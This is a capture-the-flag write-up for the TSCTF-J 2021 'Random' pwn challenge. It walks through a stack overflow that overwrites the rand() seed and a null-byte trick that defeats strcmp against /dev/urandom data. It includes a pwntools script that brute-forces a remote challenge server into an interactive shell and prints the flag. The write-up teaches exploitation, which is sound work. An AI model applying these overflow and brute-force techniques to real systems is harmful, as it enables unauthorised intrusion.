Skip to main content

TSCTF-J_2021-Pwn_Random-WriteUp

· 4 min read

Analysis

Using IDA to open the file, we found that the task requires us to input the correct random numbers generated by rand() 10 times, and then input the correct random byte stream generated by /dev/urandom.

Initial Information

rand()

The rand() function checks whether srand(seed) has been called before every call. If a value has been set for seed, then it will automatically call srand(seed) once to initialize its initial value. If srand(seed) has not been called before, the system will automatically assign an initial value to seed, that is, srand(1) will be called automatically.

/dev/urandom

/dev/urandom is a pseudo-random device provided in the Linux system, whose task is to provide an ever non-empty stream of random byte data.

Since rand() generates random numbers based on the random number seed seed, as long as the seed is the same, can't the same random numbers be generated?

Code Analysis

First Random

We can see that the length of buf is 22, but it can read in 0x30 bytes of data.

Observing the stack, we can see that buf and seed are only 0x18 bytes apart. Therefore, we can consider stack overflow to overwrite the random seed.

Second Random

This is a bit more difficult. During my search, I found a method to skip strncmp by padding with \x00 to make strlen=0, but this is clearly not suitable for our strcmp.

But the working principle of strcmp is as follows:

strcmp: Compare two strings character by character from left to right (comparing them by ASCII value), until a different character is encountered or '\0' is encountered.

This means that if s starts with \x00, our strcmp will return 0 without caring about the rest of the data and buff.

This is the real random - making /dev/urandom generate byte data streams starting with \x00.

Script Writing

from pwn import *
from ctypes import *
context.log_level = 'debug'
def burp():
sh = remote("173.82.120.231", 10000)
# sh = process("./randomn") # When testing locally, for some reason, it throws an EOFError, so I had to run the script by connecting to the server (after checking, it may be due to program protection on Ubuntu 20.04 LTS)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') # Import library file
payload = '\x00' * 0x20 # Since our data is only related to buf and seed, it's better to fill it all with \x00
sh.sendlineafter("ranqom...",payload)
libc.srand(1) # Using 0 and 1 as seed will yield the same result
for i in range(10):
a = libc.rand()%100
sh.sendlineafter("is the number?\n", str(a))

# Random_2
payload = '\x00' # Fill it with something random
sh.sendafter("THIS!??!!", payload)
print(sh.recvline()) # There will be an empty line so printed it, but it's not necessary
respon = str(sh.recvline())
print(respon)
if 'LUuUncky' in respon:
sh.interactive()
else:
burp()
burp()

Here's a small detail - after padding the seed with \x00, the rand() function will automatically call srand(1) once, and in fact, the results of srand(1) and srand(0) are the same.

I found an article on stackoverflow

How glibc does it:

around line 181 of glibc/stdlib/random_r.c, inside function __srandom_r

  /* We must make sure the seed is not 0.  Take arbitrarily 1 in this case.  */
if (seed == 0)
seed = 1;

But that's just how glibc does it. It depends on the implementation of the C standard library.

Next is the lengthy brute-forcing process. I can only say that luck was really not on my side, as I brute-forced for over an hour, making me think at one point that there was an issue with the script I wrote.

After a long wait, I finally got the FLAG o00O0o00D_LuCk_With_y0ur_Ctf_career!!!, but only the latter half? How could this happen?

After carefully studying IDA, I found that the first half of the flag was actually provided during the first random operation (but because I thought there was too much debug information when running, I commented it out).

Concatenating the two parts, we have the complete FLAG:

TSCTF-J{G0o00O0o00D_LuCk_With_y0ur_Ctf_career!!!}

Loading Comments...